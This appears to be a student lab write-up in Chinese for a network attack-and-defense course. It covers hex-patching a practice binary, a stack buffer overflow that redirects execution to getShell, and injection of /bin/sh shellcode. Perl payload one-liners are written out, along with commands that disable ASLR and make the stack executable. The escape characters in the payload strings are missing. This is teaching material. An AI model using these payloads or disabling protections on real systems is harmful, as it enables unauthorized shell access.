zoukankan      html  css  js  c++  java
  • 20155323刘威良 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M

    实践目标

    本次实践的对象是linux的可执行文件
    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    实践内容

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    注入一个自己制作的shellcode并运行这段shellcode。
    1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    2.掌握反汇编与十六进制编程器

    3.能正确修改机器指令改变程序执行流程

    4.能正确构造payload进行bof攻击

    实践要求

    1.所有操作截图主机名为本人姓名拼音

    2.所编辑的文件名包含自己的学号

    实践一

    直接修改程序机器指令,改变程序执行流程

    过程:

    1.用cp pwn1 20155323lwl拷贝pwn1文件

    2.输入objdump -d lwl20155323 | more进行反汇编

    3.输入vi lwl20155323进行编辑

    4.按Esc键再输入:%!xxd将显示模式切换为16进制模式

    5.输入/e8d7查找要修改内容

    6.将d7修改为c3

    7.用:%!xxd -r转换16进制为原格式

    8.输入:wq保存并退出

    实践二

    通过构造输入参数,造成BOF攻击,改变程序执行流

    过程:

    1.输入gdb lwl20155323调试该程序并输入1111111122222222333333334444444455555555

    2.再次输入字符串1111111122222222333333334444444412345678确定溢出的是那几位

    3.我们可以看到,如果输入字符串1111111122222222333333334444444412345678,那 1234 这四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。因此只需要把这四个字符替换为 getShell的内存地址并输给pwn1pwn1就会运行getShell

    4.由反汇编结果可知getShell的内存地址为:0804847d

    5.根据判断我们可以得知是小端输入。也就是用
    11111111222222223333333344444444x7dx84x04x08构造输入字符串

    6.输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input构造输入字符串。

    实践三

    注入Shellcode并执行

    过程:

    1.用命令apt-get install execstack 安装execstack

    输入下列命令进行修改设置

    首先设置堆栈可执行execstack -s pwn1

    然后查询文件的堆栈是否可执行execstack -q pwn1

    查询是否关闭地址随机化more /proc/sys/kernel/randomize_va_space

    关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

    查询是否关闭地址随机化more /proc/sys/kernel/randomize_va_space

    2.构造要注入的payload:

    Linux下有两种基本构造攻击buf的方法:

    retaddr+nop+shellcode nop+shellcode+retaddr

    因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边结构为nops+shellcode+retaddr

    nop一为是了填充,二是作为“着陆区/滑行区”。

    我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

    3.使用命令

    perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode注入

    其中前面32个A用来填满缓冲区buf,x04x03x02x01为预留的返回地址retaddr。

    4.再开另外一个终端,用gdb来调试pwn1这个进程

    5.用disassemble foo命令反汇编,通过设置断点,来查看注入buf的内存地址

    6.用break *0x080484ae命令设置断点,输入c继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址

    7.用x/16x 0xffffd27c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd280

    8.输入
    perl -e 'print "A" x 32;print "x04xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode并再次攻击

    实验中遇到的问题

    在做实践二的时候,没有重新拷贝pwn再继续实验,导致gdb编译失败。

    感想与收获

    这次实验我对程序溢出的利用有了进一步的学习,并且通过调试软件漏洞增长了自己的实践能力。

  • 相关阅读:
    JSP学习(一)
    Servlet学习(五)——通过response设置响应体及中文乱码问题
    SQLServer -------- 不展示后两位小数
    MySQL ------ 数据库操作 (二)
    MySQL ------ CentOS 上 安装mysql (一)
    java ----------- I/O (六) 标准输入输出流
    java ----- I/O (五) 数据流读写文件
    Linux ------ centos 上安装JDK
    iis 中找不到安装的 .net 4.0
    清理C 盘
  • 原文地址:https://www.cnblogs.com/fixedl/p/8597218.html
Copyright © 2011-2022 走看看